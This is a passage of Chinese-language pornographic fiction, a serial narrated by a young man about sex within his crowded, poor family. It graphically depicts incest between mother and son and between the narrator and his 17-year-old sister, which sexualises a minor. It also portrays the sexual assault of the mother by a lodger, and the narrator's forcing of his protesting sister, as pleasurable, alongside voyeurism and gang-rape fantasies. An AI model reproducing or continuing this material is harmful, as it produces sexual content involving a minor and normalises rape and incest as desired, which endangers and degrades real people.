图片载入中

闭门一家亲(上)

特大字】 【大字】 【中字】 【小字

00)我说︰先自我介绍一下

我叫陈二文,花名陈小二,为人好色,所以初中就被同学称为陈不文。有个哥哥叫陈大文,有个妹妹叫陈小雯,我们三兄妹分别差两岁。爸爸叫陈春生,小学程度,现职塑料啤工,妈妈叫张芝韵,中学程度,现职售货员副班长。

我家算是穷的,虽然不算是最穷,我描述一下情况,我们的屋子是租来的,七十平方米左右,楼龄二十六年,用木板间隔分出五间房子,爸爸妈妈占南面一间,我和妹妹占中间一房,哥哥占北面一间(本来他和我们同一间,但他快要娶老婆,所以给他自己一间)。除了我们爸爸妈妈兄妹之外,还把剩余的两间房子出租给其他人,所以一间屋子蛮多人的。

我讲的故事是从我十九岁那年开始,而我现在已经廿七岁,足足有八年的故事讲给各位听,故事有真有假,有现实有超现实,仅供各位打打手枪,闲来淫乐一番,不必太过认真。

不罗啰嗦嗦,故事现在开始,各位看倌请欣赏……

01)妈妈说︰快插破我的小穴

“二哥,二哥,快来,爸爸妈妈又开始了。”妹妹小雯紧张地伏在墙上,从木板的小孔看进爸爸妈妈的房里面,“已经连续四晚sexintercourse,爸爸也真够劲呢!”

我听妹妹一说,也连忙伏身在木板墙上,找到另一个小孔,朝里面看进去,房子灯光通明,只见爸爸把妈妈的两条嫩腿扛在肩上,一条相当大的鸡巴在妈妈毛穴里抽出插入,妈妈给压在床上,光滑的身体扭来扭去,已经快要四十岁,身裁近年有点胖,但仍然保持很有曲线美,她自己两手握着自己的两个大奶房,搓弄着。爸爸妈妈的这种造爱场面变成我们两兄妹娱乐的一部分,看真人表演总比看VCD好,最重要是免费的。

木板薄薄的墙身不能隔音,我们贴近木板时就能听见妈妈的呻吟声︰“啊…啊…春生……你真够劲……快把我的小穴插破了……”

爸爸听到妈妈这种淫荡的叫床声,更是奋力把鸡巴直桶到底,还有扭转着屁股,鸡巴在妈妈小穴里搅弄,气喘着说︰“干……我就是喜欢插破你的小穴……干爆你的臭鸡迈……!”

妈妈半闭着眼睛,美得浪叫起来︰“用力插我……快……快插破我的鸡迈…啊……”她自己抚弄着奶子,还用手指捏自己的奶头,继续呻吟声︰“来,把我的奶子……也捏破吧……”

爸爸果真放下她的双腿,用力搓弄她的奶子,像在搓面粉那样,搓得妈妈的奶子都变了形,妈妈也配合地很剧烈扭腰摆臀,一个大白屁股,猛往上凑,发出了一阵阵“噗滋……噗滋……”的声响,爸爸的大鸡巴每一下都插到底,直顶花心,把妈妈干得浪声不绝。谁都想不到一个平时端庄的母亲和售货员副班长会浪成这样。

“春生……你真像日本男人……那样干我……太厉害……让我死吧……快…干死我吧……”妈妈再次淫叫起来,小穴的淫水不断流出来,她的屁股本来给爸爸抱在床边,而淫水就滴流到地上。

爸爸胀红着脸说︰“臭婊子……带你去看一次日本叫春片……你就老是想给日本人干……日本人是好几个一起来……你想被他们轮流干吗?”

妈妈用力抱着爸爸结实的屁股,希望他的大鸡巴能更深地插在她的小穴里,嘴巴继续发出淫荡的声音︰“是……我快要像那片子里面……那个女主角…给日本男人轮奸……哎啊……插破我的鸡迈……”

爸爸尽最后的冲刺,对准妈妈的小穴狠抽插二三十下,一边对她说︰“好哇……臭婊子……你这么喜欢给男人干……我就叫几个工友来轮奸你……奸得你叫爹叫娘……”

说完自己已经刺激得不能再发出声音,屁股一下子定住,下体一震,大股大股的精液射进妈妈的小穴里,把妈妈也烫得全身发抖,双腿紧夹着爸爸的屁股,两人一起到达高潮,然后静了下来。

妹妹看得满脸通红,更显得漂亮动人,都已经十七岁了,发育也相当好,样貌可人,还要和我同一间房子,真是使我难以忍受,我心总是想,迟早一天要干破她的小穴。当然这个顺其自然,不要强迫,不然弄出一个家庭悲剧就不好。

我看完爸爸妈妈春宫大战之后,鸡巴硬得像支铁,看来又要打手枪来解决,所以我开门想去厕所,怎知一开门就看到我们那两个租客,一个叫老施,一个叫“大块”(台语)两个人都伏在爸爸妈妈门口。我们的屋子搬进来就没装修,房门都有小缝,他们就从小缝里看进去。

“喂,你们……”我小声指着他们说。

“又不是第一次,大惊小怪。”大块说。

“你妈妈身裁还真辣,比很多少女还要好。”老施举起大拇指称赞道。

然后两个人若无其事回自己的房子里,真是岂有此理。不过我都没空跟他们理论,赶快跑到厕所里,把自己的鸡巴掏出来,一面摸弄,一面想着妈妈淫荡的样子,在幻想中,爸爸的角色被我取代了,插进妈妈小穴里的不是爸爸的鸡巴,而是我的大鸡巴,妈妈,我好想肏你!

自从我知道老施和大块偷看我爸爸妈妈造爱之后,我就留意到,原来他们平时也是直勾勾地盯着我妈妈,特别是在她的大胸脯上。大块三十几岁,做地盘工人,对我妈妈有性趣倒不出奇,但老施已经快要五十岁,做大厦护卫,还是对我妈妈色迷迷的,实在不知道他是不是还有能力。

偏偏妈妈在家里穿得很随便,只穿薄薄的印花睡衣裤,里面的乳罩和内裤都能清楚看到。我们是包租的,所以妈妈经常要洗地,她不惯用拖把,说洗得不干净,所以会用破布伏在地上洗。她每次洗地,老施和大块就会出来厅中坐在长椅上看电视,我最初都不知道甚么原因,后来才晃然大悟。

原来妈妈在洗地时,真是春光明媚,从后面看去,她蹲下来,背后睡裤就滑下来,就会看到她薄薄的丝内裤,内裤呢,也会向下滑一点点,结果她的屁股沟都差一点看得见。她洗了一会儿,就会洗过来长椅这里。

“请你们缩起脚,让我洗洗地。”妈妈都会很有礼貌叫老施和大块缩起脚,可能是因为她出售货员出身的,待人态度很好。

当老施和大块缩起脚时,妈妈就伏身用布去洗长椅下的地板,这时老施和大块就乐了,妈妈宽松的睡衣垂下来,领口大大的张开,从老施和大块的角度一看进去,妈妈整个上半身都能看得一清二楚,尤其她两个大大的奶房,几乎全暴露出来,尤其是当她穿一些廉价不太合身的乳罩时,还她两颗奶头都能看见。妈妈却不加掩饰,继续前后前后洗着地板,两个大奶子随着她的摆动而晃动着,老施和大块简直乐不可支。

我妈妈在家里穿着这么暴露会有甚么后果呢?各位看倌,等我下一集吧。

02)老施说︰我的名字叫施暴

上集说到爸爸妈妈造爱的活春宫不但给我和妹妹看见,而且给租客老施和大块偷看到,妈妈平时在家衣着随便更给租客提供不少add-value。这样的add-value到底还会不会有更多呢,各位看倌,吃饱饭没事干请看看……

百货公司十一点才开门,所以我妈妈不用太早上班,而这个老施这个租客有时也轮中班护卫,中午才出门,这样就制造了妈妈和老施单独同处一室的场面,所谓男女单独共处一室,女人必有损失,学金田一所说的,这种环境下最容易制造出“密室‘奸’人事件”。

妈妈在厨房里面忙着煮一顿中午饭,爸爸的工厂离家不远,会回来吃午饭。

她正准备煮我爸爸最喜欢喝的青红萝卜汤,刚在洗萝卜时,老施也钻进厨房来,站在她背后。

“老施,起床了,要不要喝青红萝卜汤啊?等一下中午你就和春生一起喝,别客气。”妈妈对任何人都是很有礼貌很温柔的。

“嘿嘿,不错不错,青红萝卜汤是很好喝……”老施一边说着,一边靠近我妈妈说︰“不过你的鸡迈汤可能更好喝……”我妈妈还没反应过来,他的手已经伸进她的睡裤里面,挖向她屁股沟里。

“啊……老施,你别这样开玩笑……”妈妈回过身来,想要摆脱他的魔爪,但却给他另一手提供便利,乳房被他另一手抓住,而且摸捏起来。

“哈……别开玩笑,老施,好了,好了,快缩回手,我怕你老人家不行!”妈妈把他的手推开。

“谁说我不行,你知道我的名字叫甚么吗?我单个字叫‘保’,所以全名叫施保,少年家的时候专门向少女‘施暴’呢,别小看我。”老施胀红着脸说。

妈妈听到他这样说,噗嗤地笑出来说︰“你现在已经不是少年家嘛。”

老施见妈妈笑他,老羞成怒,迅速脱下自己的裤子,把鸡巴露出来,妈妈一看给吓了一跳,鸡巴不但不小,而且胀得很硬。她有点不知所措时,老施就伏身把妈妈的睡裤连内裤脱了下去。

“不能这样,不能这样……老施,不要这样……”妈妈给老施整个人推到煮食台上。老施把她两腿分开,妈妈的毛穴全露出来,他就把头埋进去,用舌头仔细地吸吮起来,舌尖很快挑进她的小穴里,逗弄她的阴蒂。

各位看倌,老施快五十岁,我妈妈还三十几岁(没到四十岁呢),这么容易被他弄上煮食台淫亵吗?话说得明白一些,就是我妈妈是半推半就的,老施用一点点力,她就好像不能挣扎,嘴巴还说“不能这样”,身体却配合地退到煮食台上。

这时她给老施的舌头舔得全身快乐细胞都活动起来,半闭起眼睛,两手支撑着身体,“呵……呵啊啊……老施……你果然还有两手……我相信你少年家的时候是‘施暴’了……不要再喝我的鸡汤……快向我施暴吧。”

老施抬起头来,脸上的皱纹眯起,满意地笑了起来,说︰“陈太太,我早知道你是这么淫荡的,就要早点向你施暴……”就完举把他粗大的鸡巴向我妈妈湿淋淋的小穴插了进去。

“噢……啊……”妈妈全身颤抖一下,屁股一挺一挺地配合老施的进攻,嘴巴忍不住呻吟起来,“你现在向我施暴也不迟嘛……我也不知道你老而弥坚……还能把我插成这样……我小穴快给你干破了……”

那煮食台刚好在老施半腰的位置,所以我妈妈坐在煮食台上就是给老施奸淫的最好位置。老施这时空出来的两只手把妈妈的睡衣解开,再把她的乳罩翻了下来,两个硕大圆滑的大奶子顿挺了出来,一抖一抖的,老施不客气地用双手抓上去,狠狠地捏弄着,把两个奶子搓得不知道像个甚么形状。

我妈妈扭着腰,嘴巴叫着︰“别插那么深……我鸡迈会破的……啊……啊啊……我的奶子也快……给你捏爆了……”

妈妈可真是淫荡得可以,把爸爸和我们这些儿女都忘光了,以后老施如果骂我︰干你妈的臭鸡迈,或干你娘臭婊子,我只能承认是事实。

老施到底是个快五十岁的人,妈妈这么淫这么骚,还说出这种淫荡的话来,完全受不了,插了二十几下已经弃械投降。当他抽出软泡泡的鸡巴时,白乳乳的精液从妈妈的小穴流在煮食台上。

“这么快就完了吗?”妈妈有点不满地问。老施红着脸点点头,妈妈从煮食台上下来,说︰“不要紧,我再给你补充能量,等一下再向我施暴一次。”

说完后就跪在地上,把老施那条软泡泡的阳具拿在手里,像一条软软的小毛虫,完全和刚才坚硬巨大不能相提并论。

妈妈把那小毛虫放在嘴巴,细心地舔舐起来,果然胀大了一点点,于是妈妈继续卖力地伏在他胯下吮吻他的龟头,还连他的阴囊也舔起来,就是我爸爸她也没那么卖力,就是因为她的性欲给挑起来,却遇上这个没用的老头。她弄了十几分钟,顶多那小鸡巴也只是一只比较大的毛毛虫而已。

正当我妈妈要放弃的时候,老施突然把她的双手反剪在背后,说︰“我老施是不会这么轻易放过你的,一定会干得你高潮迭起、淫汁全出才不会打破我的招牌!”他把她按伏在煮食台上,把她两条嫩腿支开。

妈妈不知道他要干甚么,突然一条硬崩崩的东西一下子插进她那水汪汪的小穴里,使她忍不住大叫起来︰“啊……啊……不要……破了……我的小穴给胀破了……”她没叫完,那根硬崩崩的东西已经抽插好几下,妈妈感到小穴传来很疼痛的感觉,虽然也有一点点快感,但却像是给别人强奸那样。

“老施……不要……不要向我施暴了……我不敢了……啊啊啊……”妈妈一边喘息着一边呻吟声。

“我要你这臭婊子知道我的厉害!”老施疯狂地抽插,使我妈妈上半身都倒在煮食台上。

妈妈一边哀求着他,一边向后看,看到底为甚么老施会突然变成这么粗这么硬,一看之下才大惊︰原来老施拿起整根红萝卜在抽插我妈妈的小穴!

“不行……你不能这样对我……我小穴真的给你弄裂了……”妈妈伸手推开他,可是小穴正给他插着,所以力气很小,根本不能阻止他。

老施说︰“好,你不用红萝卜就用白萝卜吧!”说完换成白萝卜,白萝卜更粗更大,完全想像不到妈妈的小穴竟然给老施用白萝卜撑大,整根插了进去,妈妈简直给干得七荤八素欲生欲死。

“啊……不行了……我的小穴……真的给你插破了……”这时她全身都僵直着,一股接一股的快感从小穴洞里传向全身,双腿颤抖着,整个人跌倒在地,老施才施施然放下萝卜,回去他房里换件衣服上班去,把我妈妈赤条条地丢在厨房的地上,还没回复原状的小穴仍张开着,里面之前老施的精液都流在红萝卜和白萝卜上面。

不知我爸爸那天中午喝青红萝卜汤时有没有感受到妈妈性器和老施精液的特殊味道?

讲回我和妹妹小雯,可能是年纪比较接近,所以我们特别亲密,各位看倌别误会,亲密的意思至今仍是兄妹之情而已。

妹快要参加高考,她的英语特别差,要我特地帮她补一补,我要求她一定要尽量讲英语,不懂的生字要问我才行。她也挺努力,所以那天晚上叫我看爸爸妈妈造爱时,她会说“sexintercourse”或者“makelove”之类。

这天下午四点回家之后,小雯和我一起在厅桌上做功课,她突然问我︰“我还是弄不懂甚么名词用单数,甚么名词用复数,比如为甚么一对鞋要用shoes,很多水都只能用water,还有people是复数,为甚么不能加‘s’?”

我只好慢慢地向她解释,她很乖地点点头,仔细地听着我的解释。我一边解释,一边看着她可爱的俏脸,突然有种奇怪的感觉,妹妹真的很漂亮,为甚么我一直没察觉,长长整齐乌亮的头发,圆圆水灵灵的大眼睛,白白嫩嫩的皮肤……她的脸很白嫩,脖子也很白嫩……我眼睛慢慢朝下,她的衬衫扣子解开多一钮,在家里可能较热较随便,所以会开放得这么大,我稍靠近她身边,竟然可以看到她白白的乳房,十七岁了,乳房已经不小,她很像我妈妈,有一种令男人蚀骨的媚态。

“二哥,你在想甚么?”小雯的话把我带回现实,我才从思绪中醒来,有点不好意思。

她也察觉我的轻微动作,自己看一下胸前,忙用手捂着,说︰“二哥,你好坏,偷看人家的胸部。”

我一时语塞,但很快找到借口说︰“我是要想举个例子给你听,有时一些名词的单数和复数的意思不同,要小心一点。比如︰breast这个字,单数是指男人的胸膛,但复数breasts就是指女人的奶子。”

妹妹笑道︰“原来是这样。那就说你刚才在偷看mybreasts罗!”我们两人都笑了起来。

我突然正色地说︰“你别弄错部位,breasts不是这里,而是指这两个,所以就有复数啦。”我一边说着,一边用手指指在她胸脯上,说不是这里,然后慢慢向下滑,指在她乳罩上两团嫩肉说就是指这个乳房。柔软弹性的感觉使我有点飘飘然。

妹妹没有拒绝我,没有推开我,只是说︰“我现在明白了,凡是身体上有一对的东西都是复数。”

我点点头说︰“嗯,就像breasts是复数,nipples也是复数。”

妹妹问︰“nipples?nipples是甚么?”

我心里怦怦地跳,说︰“我指给你看……”

各位看倌,我刚才才说自己和妹妹之间只有兄妹情,但她实在太漂亮太吸引人,我也只是个凡人,这样的好机会怎么会放过?我不描述过程了,只说结果是妹妹尖叫一声︰“啊……二哥,你欺负我,你真坏!”

你们看生活在这种家庭里是多么有趣味啊。各位看倌,又要等下集了。

03)妹妹说︰哥哥和妈妈做爱

上集说到我教妹妹英语,趁机指点一下她的乳房和乳头。也讲到老施终于得手,把妈妈按在煮食台上奸淫一番,还在青红萝卜汤里加上了很多味精以外的味道,到底平时很贤淑的妈妈还会有甚么遭遇呢?各位看倌,只要用你十几分钟看看这一篇……

妈妈事后没有责怪老施,但老施一方面觉得有点对不起我妈妈,另一方面也觉得自己确实年老没有本事,每次妈妈跟他打招唿时,他都有点不好意思,结果过了一个月辞租搬走,妈妈还挽留他,他还是坚决要走,最后没办法,只好帮他拿箱子送他出门口。

那房子暂时租不出去,丢空了,租客只剩下大块一个,他的双眼还是贼熘熘地跟着妈妈的身体转,但是不敢去碰她。

哥哥的婚礼也准备得七七八八,未来的嫂嫂叫美美,人如其名,美得像出水芙蓉,除了容貌漂亮之外,身裁也相当均称,该大的部位大,该小的部位小,曲线玲珑浮凸,我最初看见的时候,也发誓以后的老婆要像这样才行。

难怪哥哥那么快想结婚,像这么漂亮的女孩实在不容易找,裙子之臣也有不少,不是快点弄上手,迟早会从手上飞走。

“喂,二文,你这次要帮我一下。”哥哥性格较内向,很少会主动请求我,我见他怪可怜的,就问︰“甚么事?”

他还要左顾右盼东张西望,真奇怪,这里是家里,不必这么神秘吧。他还是很小声在我耳边说︰“你知道我快要结婚,但我还不太懂那……那种事,你经验多一些,教我一下好吗?”

我差一点没笑出来,已经廿一岁的大男生,竟然不懂干那事,哈哈哈!当然我没笑出来,不然会把他的自尊心全毁了。其实一点也不奇怪,他内向,没读大学,接触女性的机会少,是个处男一点也不奇怪。可能我未来嫂嫂也是看上他这种纯真才选他的,否则按她的条件,要嫁上一个律师、医生、电脑专才一点也不难。

“我先了解一下你到底不懂甚么?你和嫂嫂到底发展到甚么程度?”我认真问他。

“我们牵牵手、拉拉抱抱、接吻三次。”哥哥吞吞吐吐有点脸红,说,“还有……我摸过她的奶子一次。”

我鼓励他说︰“那很不错的。”我故意问他说︰“摸嫂嫂的奶子感觉怎样?大不大?”

哥哥红着脸说︰“感觉很好,但不知道算大算不大,因为那时是冬天,她穿很多衣服。”

“甚么?你在衣服外面摸的吗?”

“是啊。那里有女生会给男生伸进衣服里面摸啊?她也不是拍电影的。”

我的天啊!原来他的性经验就只有这么多,看来他洞房夜一定困难重重。我说︰“这种事最重要是要练习一下,你找美美说说,她一定会帮你的。”

“哎呀,她不会,我有一次提起这种事,她就不跟我说话了。”

我差一点给他气死,本来都想帮他找个妓女,但各位看倌,不要忘记我们家里没有多少钱,所以完全帮不了忙,只好对他说︰“大哥,看来我不能帮你忙。我又不是女生。你有没有其他熟悉的又开放的女性朋友。”

哥哥摇摇头,说︰“我最熟的是美美,除了她之外,只有妈妈和妹妹。”

我没好气地对他说︰“那你不找美美,就找妈妈或着妹妹试一下。”我想了一下说,“不用找妹妹了,她没经验,要找就去找妈妈。”说完我不再理他。

就这样,他没再找我,我也忘了这件事。直至有一天晚上,我在房里温习功课,妹妹小雯又再叫我说︰“二哥,你快来看,妈妈又再做爱。”

我有点怀疑说︰“爸爸没这么早回家吧?”

妹妹说︰“不是,不是爸爸和妈妈做爱,是哥哥和妈妈MakeLove,AndkissPenis。”她的英语真是半桶水,但我已经很震惊,忙伏在木板墙上偷看。

妹妹没说错,房里面是妈妈和哥哥,两人都已经赤条条的,哥哥坐在床边,妈妈跪着,张开嘴巴在吮吸他的大鸡巴,哥哥的鸡巴年轻力盛,很长很大,妈妈几乎不能吞进嘴里,只能吞吐前面半截。

这个笨蛋哥哥,真的照我的话跑去跟妈妈说,不知道为甚么妈妈又竟会答应他,可能在我妈妈心底有种淫贱的性格,需要让不同男人骑干才舒服吧。

我看到妈妈站起身来,她那对圆大的乳房对着哥哥,把他的手掌拉放在自己的乳房上,哥哥很明显感到一种柔软温暖的感觉,他的鸡巴更是勃起,还一震一震的。

妈妈说︰“不用担心,放胆来吧,就当我是美美练习一下,你可以吸吸我的奶子,还记得小时候你也是吃我的奶子长大的。”

哥哥伏下身去,把脸凑过去,尝试地用舌尖去舔了一下乳房和乳头,妈妈“啊”一声发出畅快的唿声。哥哥见妈妈很爽的样子,心理受到鼓励,便轻轻咬着她的奶头,妈妈全身一抖,说︰“对了,大文,就是这样咬我的奶奶,就像小孩那样……”

哥哥突然放开嘴说︰“妈妈,你这里很湿啊!”他手指着妈妈的毛穴,妈妈说︰“嗯,女生兴奋起来就会湿,这是很自然的,那等会儿你的烂鸟插进去就会很容易。来,我躺下,你就压在我身上。”

哥哥听话地压在妈妈身上,不过还是担心地说︰“不知道美美那么纤幼会不会给我压坏?”

妈妈说︰“不会的,女人的构造就是要给你们这些男人骑,所以不要担心,你把我压得越紧,我就越高兴。”

哥哥仿佛恍然大悟,果然把妈妈用力地压在床上,妈妈的手去引导他那直立雄壮的大鸡巴,“噗嗤”一声就干进了妈妈的小穴里。他本来从妈妈的小穴生出来,现在把大鸡巴塞进妈妈的小穴里,这算不算是物归原主呢?

“噢……大文……你真是厉害……你的大烂鸟……比你爸爸还大……插死我了……”妈妈呻吟起来。

哥哥原来一点也不懂,现在这种原始力量给妈妈激活了,开始运动自如,懂得把妈妈两条玉腿压向两边,把大鸡巴像打桩那样干进妈妈的淫穴里,干得妈妈浪叫不停。

隔着一层薄板,我和妹妹看得很清楚,妹妹又如常地红着脸,煞是好看。她说︰“哥哥和妈妈makelove这样对不对?这样是乱伦。”

我嗯一声说︰“再教你一个英文字,乱伦是incest。”

妹妹说︰“incest就是乱伦吗?我没听过,怎么拼?”

我说︰“i-n-c-e-s-t,incest!”

妹妹果然是好学之人,连忙拿起她用惯的牛津字典查这个字,然后念出来︰“incest,嗯,只有一个解释,是乱伦的意思,比如是兄妹相奸。”然后咦一声说,“字典没写母子相奸是不是incest。”

我说︰“字典是举例而已,因为乱伦最常见的是兄妹相奸。”我说到这里已经有种莫名的兴奋侵蚀我,眼前这可爱的妹妹正是字典里的最佳例句。

妹妹还好像怕有误解,说︰“就是说如果我和你makeLove就是兄妹相奸,也就是最常见的incest吧……”她说完的时候,已经看到我眼里的欲火,不敢再说下去,我的手扯着她胸前的衬衫说︰“妹妹,我们来incest吧!”

各位看倌,面对这样可爱的妹妹,又在面前用言语挑逗我,作为一个血气方刚、机能正常的男人,又如何能把持得住呢?下集别错过啦!

04)哥哥说︰我要和爸爸一起轮奸你

上次讲到,哥哥为了在婚前练习一下,竟然找妈妈在房里面乱搞一通;而我呢,和可爱的妹妹共处一室,欲火难忍,看来妹妹这次劫数难逃,各位看倌,是不是等急了?请一边吃饭一边看看,别浪费读书时间……

隔壁传来妈妈阵阵的呻吟声︰“大文……你真的把妈妈肏死了……妈妈的小穴被你干破……啊啊啊……你比你爸爸更像日本人……干死我了……”

哥哥也不示弱,很有节奏地干着妈妈,说︰“妈妈……我早就想干你……我以前打手枪就想干你……听到爸爸干你的时候就想一起干你……把你的鸡迈干破……把你两个大奶子捏破……和爸爸一起轮奸你……”

妈妈呻吟说︰“好……找一天……你们父子俩一起……来干破我的鸡迈……快……用力干我……我要升天……”

这种淫亵的叫床声,当然使我的欲望更是高炽,我扑向妹妹,把她压倒在床上,妹妹不断摇头说︰“不要,二哥,我不要incest,我不要乱伦。”

我咬咬牙说︰“反正字典都说兄妹相奸很平常,嘿嘿嘿……”就完把她胸前的衬衫一扯,钮扣给我撕掉,衬衫打开来,我的嘴就从她乳罩上面的两团白肉吻去。

妹妹还没有性经验,给我这一吻,吻到女孩的敏感处,她全身都没力气,手脚发麻,纤纤玉手想要推开我,嘴巴还说︰“不要……二哥……不能这样……”但完全没法阻挡我的攻势。

我把小雯的裙子也翻了出来,这时才发现,她的身裁已经很健美很有曲线,所谓身在福中不知福,原来一直和自己同房的妹妹竟然是这么漂亮,而且凹凸有致,纤细的腰身使她少女的乳房和屁股都显得相当突出。

我朝小雯的内裤一摸,那小缝都湿得可以挤出水来,她害羞地说︰“二哥,不要按那里,我快尿出来……”妹妹淫汁四溢,还以为是要尿出来。我当然没理会,把她内裤向旁边一拨,手指攻进她的小穴里,那里已经有稀疏的阴毛,当我的手指钻进她的小洞里,她已经不再反抗了,深唿吸着,接受我的爱抚,嘴还轻声说︰“我那小洞叫做vagina,是吗?”

我说︰“对,我等一下就要把我的penis干进你的vagina!”说完拉着她的手抚摸我陶出来的鸡巴,鸡巴在她细嫩的手掌里胀得很大,她惊道︰“二哥,你的penis那么大,我的vagina给你一插就会裂开。”

我没理她,只是继续去抚摸她,我知道处女第一次要足够湿度才能完美地进行,不能乱来吓怕她,所以我的手指慢慢挖着她的小穴,然后抚她的阴蒂,她全身一抖,淫水滔滔不绝涌出来。其实我担心是多余的,因为她继承我妈妈那淫荡敏感的基因,所以稍一挑逗已经完全湿了。

我摸着她的阴蒂说︰“这是clitoris,你们女生最敏感的地方。”妹妹这时已经吟不成声,还想跟我读︰“cli-tor-is吗……二哥……你摸得我好爽啊……”她的手还在抚摸我的鸡巴,然后摸到我的阴囊,我又说︰“这里是scrotum。”她跟着我说︰“scro-tum……二哥的scro-tum

好大……”

各位看倌,你们听过“听歌学英语”,也听过“看图学英语”,但我和妹妹这种“造爱学英语”是不是很新鲜?看来我要申请专利,说不定可以为我带来意料之外的财富呢!

隔壁妈妈和哥哥传来的“啪啪”和“啧啧”声音使我们更加淫猥,我让龟头顶住妹妹阴唇的阴唇,然然磨了起来,小雯全身直发抖,嘴巴像哼啊地发出呻吟声,我见她的小穴已充满水汁,便将鸡巴向前挺进,妹妹也轻轻摇着屁股,让我一寸一寸地占领她。

我可以听见她急促的心跳和喘息声,这时鸡巴已经进了三分一,但给挡住,我这时吻着妹妹的嘴,她也张开嘴,让我的舌头挑进她嘴里,卷弄她的舌头,给我吻得很陶醉时,我一下子把鸡巴再捅进她的小穴里,她嘴里唔唔地想叫出来,但我接着再抽送十来下,她就唿了一口气,美得不自觉闭上双眼。

这时我连连抽插着她的小穴,她给我干得快感连连,身体很是敏感,我还没插足五十下,她已经双腿直抖,浪水四溅,高潮来了︰“二哥……我像要死……不要再干我……”

我当然没满足,说︰“不要说‘干’,英语叫做fuck。”

妹妹喘着气说︰“二哥……别再干我……我不行了……再下去会fuck死我……”她已经给我干得手酸脚软。

我没给她休息的机会,这时才慢慢剥光她的衣服,把她的乳罩翻起来,她的两个大奶子的确令我惊讶,虽然上次教她breasts和nipples时才偷摸她一下,但现在看起来确实很大很嫩很白,乳头和乳晕不大,我的舌头立即舔上去,不停的在动,她那粉红小巧的乳尖立即挺起来,站立在浑圆的乳房上。妹妹再次呻吟起来。

这时我把她其他身上的衣服都脱得精光,取笑她说︰“好妹妹,你现在变成光猪,快要给人宰的光猪呢。”把妹妹羞着脸都红了。

我再次动起屁股来,把妹妹两条腿曲到她的乳房上,然后用力地干她。这次没有刚才那么温柔,而是不停地抽插,妹妹的淫水沿得屁股沟流到床上,浸湿一片,我连续抽插她七、八十下,妹妹紧抱着我,处女的小穴把我的鸡巴包得又暖又紧,还一缩一缩。

我知道她的高潮又来了,自己也忍不住射出精液,第一注直灌进她花心上,然后才拔出来,射在她可爱的乳房上,射得她胸前很多白黏黏的精液点。直到最后几滴,才故意涂在她俏脸上,涂在嘴唇上。她还不惯男人的鸡巴,所以别过头去,不给我涂精液。

我看到床上有一些血渍,妹妹那处女膜是给我干破的,我心中对她突然有点怜惜,于是把她抱着。妹妹躺在我的怀抱里,柔声地说︰“二哥,原来makelove是这么爽的,你是那里学来的?”

我骄傲地哈哈笑说︰“这是与生俱来的,不用学啊。”

我们再伏在木板墙上偷看过去,妈妈和哥哥也已完结了,哥哥躺在床上,妈妈则趴在他胯间,继续吸含他的大鸡巴,我们看到妈妈那毛穴里不断流出白黏黏的精液。

我突然问她说︰“哥哥也真够胆,竟然把妈妈也奸淫了,爸爸迟些回来的时候,他会不会给判处死刑?”

妹妹说︰“听说爸爸今天去南方另一个工厂,今晚不会回来。”

我有点疑惑说︰“我今天中午才碰到爸爸……”

我刚到这里,一阵开门声,我们听到脚步声就知道是爸爸,连忙穿好衣服,当然爸爸是很少进来我们兄妹这间房子,所以也不是特殊紧张,紧张的是我们忙又伏在木板墙上的小孔看爸爸妈妈的房间。

哥哥和妈妈看来也是听到脚步声,慌忙穿着衣服,但没穿好,爸爸已经开门进来,他看到妈妈半裸着,手上拿着上衣没穿好,下体更是赤条条,整个毛穴都露出来,而哥哥刚好穿上内裤,内裤里隆起一大包。爸爸呆住,妈妈和哥哥也呆住,好像电影里的定镜那样,全部人那一刻都没动。

我和妹妹暗暗叫苦,看来我们的家庭面临破碎的边缘。各位看倌,我的家丑会有甚么结果呢?下一集再慢慢讲。

05)妹妹说︰我知道你喜欢

上集讲到哥哥在婚前找妈妈练习,结果两母子就在房里胡天胡帝,而我也不让他专美,把还是个处女的妹妹奸淫了,在这淫乱的时刻,爸爸回家了,各位看倌,如何是好呢?

爸爸慢慢把房门关上,到底是家丑不能外扬,他出乎意料之外的平静,说︰“穿上衣服吧。”妈妈和哥哥这时才急急地穿上衣服。

爸爸说︰“大文,你也快要结婚,实在不应该跑来连你亲生的妈妈也给奸淫了。”

他停了一下说︰“虽然我知道你要在婚前练习一下,但也要等我不在的时候才来嘛!你妈妈是我的妻子,妻子给别人干,心里总会有点不爽吧!”

哥哥已穿好衣服,说︰“爸爸,我以为你今晚不来,以后我会小心一点。”

爸爸点点头,哥哥就回到自己的房间里。

爸爸再次关上房门,立即抱着妈妈,很兴奋地说︰“刚才你给儿子干得爽不爽?”他的态度完全是180度转变。

妈妈被他压着,娇嗲地说︰“你看,你老婆给别人干了,还这么兴奋?”

爸爸说︰“嘿嘿,我早就想让别人来干你,只是想不到你被儿子干了。”他不知道老施也干过妈妈。他继续说︰“你知道吗?有一次我和工友午饭时间去你们那百货公司逛,他们除了对那些年轻售货员指指点点外,还说你很不错,有机会把我干干。他们不知道你是我老婆,但我听了很爽,还附和他们,说要把你拖到后面那货仓里轮奸你,哈哈!”

他越说越兴奋,已经把妈妈重新脱光,推倒在床上。妈妈也抱着他的身体,帮他解开上衣,说︰“你们这些臭男人,明知那货仓中午没人,被你们轮奸,也是叫天不应叫地不闻。”

爸爸用手去拈起她毛穴里刚才哥哥留下的精液说︰“甚么时候来给我们父子一起干你?”说着,已经用他鸡巴在妈妈的小穴里抽插起来。

各位看倌,想不到结局会是这样,我和妹妹也舒了一口气,我们家人都是这么淫乱,看来我和妹妹的乱伦,也不会遭到甚么惩罚。

我和妹妹本来就比较情深,现在又有肉体接触,于是亲上加亲,她也不再避忌我,比如在我面前换衣服,比如我们本来是睡上下格床,现在就一起睡在下格床,每天晚上都来大战一场。当然我们还是有点忌讳,比如不能发出太多声音,做爱也要用安全套。

小雯开始散发出较成熟的媚态,虽然还是很少女,但无论臀部或胸部越来越丰满,而她也因为常常要给我发泄一番,所以有时还胸罩都不穿,即使出外穿的衣服也较开放,胸口露出一大片,乳沟都能看得见。

哥哥没读大学,中学毕业出来就到酒楼做待应生,后来升为“部长”,可以招唿客人那种。星期天他一定没有放假的,所以叫我和妹妹去帮他和未来嫂嫂看看有甚么出租婚纱店。当然要选漂亮的,最重要是要便宜的。未来嫂嫂美美做银行柜员,收入也不太多,所以这次婚礼不打算太铺张。

我和妹妹很高兴,因为我们又可以一起去逛街,妹妹穿着小热裤,两条长美腿完全露出来,小T恤还把她的小肚脐也露出来,胸口大V字还能看到她可爱的乳沟。

“哇塞,你真是辣妹呢!”我拉着她的手说。

“二哥,我知道你喜欢辣妹这类型。”妹妹让我拉着手在街上走,我们就像小情侣那样。

“不过,你连乳罩都没戴!”

